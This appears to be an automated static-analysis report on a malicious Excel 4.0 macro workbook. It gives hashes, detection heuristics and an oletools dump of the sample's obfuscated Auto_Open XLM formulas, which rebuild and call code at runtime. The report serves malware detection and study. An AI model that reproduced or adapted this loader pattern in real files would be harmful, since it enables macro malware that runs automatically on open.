Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b97e7d9dacf4f995…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:42:23 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: fecad0f472f5b90f9404a12478b14218 SHA-1: 0f3d68b8f67d82fd0fdaaa5e40a3a75b71a3128b SHA-256: b97e7d9dacf4f995b4a4eb52131691b40f1d089952f8ced0a80f618d8e8b7b97
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6539 bytes
SHA-256: 0814a248785b5e9207ac089fa52bff5afc4001b80033233b8ae816897f427260
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oCP
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C170 
' 0018     23 LABEL : Cell Value, String Constant - cDOONWLp len=0 
' 0018     21 LABEL : Cell Value, String Constant - CQXkGT len=0 
' 0018     27 LABEL : Cell Value, String Constant - DOhySHBihjHB len=0 
' 0018     25 LABEL : Cell Value, String Constant - fhvbfhKSGW len=0 
' 0018     20 LABEL : Cell Value, String Constant - ivYfd len=0 
' 0018     21 LABEL : Cell Value, String Constant - LZalSx len=0 
' 0018     21 LABEL : Cell Value, String Constant - muFzez len=0 
' 0018     21 LABEL : Cell Value, String Constant - PBzGVR len=0 
' 0018     21 LABEL : Cell Value, String Constant - PdZhDK len=0 
' 0018     25 LABEL : Cell Value, String Constant - pUXFgBqkyi len=0 
' 0018     23 LABEL : Cell Value, String Constant - QvRBngiD len=0 
' 0018     27 LABEL : Cell Value, String Constant - relaewZilnYO len=0 
' 0018     25 LABEL : Cell Value, String Constant - SwuKswixWh len=0 
' 0018     27 LABEL : Cell Value, String Constant - TsmFTbWDioFZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - UQTIOrLt len=0 
' 0018     24 LABEL : Cell Value, String Constant - VktrXPIHc len=0 
' 0018     20 LABEL : Cell Value, String Constant - YcGTV len=0 
' 0018     26 LABEL : Cell Value, String Constant - YgYIjoPrmVS len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZoYYV len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZTrzDYcxzAva len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oCP,T79,"",633.00000000000000000000
'  oCP,T80,"",305.00000000000000000000
'  oCP,T81,"",177.00000000000000000000
'  oCP,T82,"",381.00000000000000000000
'  oCP,C83,"SET.NAME("LZalSx",0+VALUE("0"))",""
'  oCP,T83,"",181.00000000000000000000
'  oCP,T84,"",546.00000000000000000000
'  oCP,C85,"SET.NAME("YgYIjoPrmVS",LZalSx)",""
'  oCP,C89,"SET.NAME("CQXkGT",LZalSx)",""
'  oCP,C93,"SET.NAME("ZoYYV",COUNTA(ivYfd))",""
'  oCP,C95,"SET.NAME("PBzGVR",COUNTA(cDOONWLp))",""
'  oCP,C97,[],""
'  oCP,C102,"SET.NAME("pUXFgBqkyi","")",""
'  oCP,C106,"YgYIjoPrmVS",""
'  oCP,C109,"SET.NAME("ZTrzDYcxzAva",HLOOKUP("*",ivYfd,YgYIjoPrmVS,FALSE))",""
'  oCP,C111,"fhvbfhKSGW",""
'  oCP,C113,"SET.NAME("TsmFTbWDioFZ",LZalSx)",""
'  oCP,C117,[],""
'  oCP,C119,"TsmFTbWDioFZ",""
'  oCP,C123,"UQTIOrLt",""
'  oCP,C127,"YcGTV",""
'  oCP,C131,"SwuKswixWh",""
'  oCP,C133,"SET.NAME("VktrXPIHc",VALUE(HLOOKUP("*",cDOONWLp,SwuKswixWh,FALSE)))",""
'  oCP,C138,"PdZhDK",""
'  oCP,C141,"pUXFgBqkyi",""
'  oCP,C143,"CQXkGT",""
'  oCP,C147,NEXT(),""
'  oCP,C151,"QvRBngiD",""
'  oCP,C153,[],""
'  oCP,C157,"muFzez",""
'  oCP,C162,NEXT(),""
'  oCP,C165,RETURN(),""
'  oCP,C198,"SET.NAME("DOhySHBihjHB",C83)",""
'  oCP,C201,"ivYfd",""
'  oCP,C205,"SET.NAME("cDOONWLp",R50C14)",""
'  oCP,C208,"SET.NAME("muFzez",217)",""
'  oCP,C213,"SET.NAME("relaewZilnYO",3)",""
'  oCP,C216,DOhySHBihjHB(),""
'  oCP,C217,HALT(),""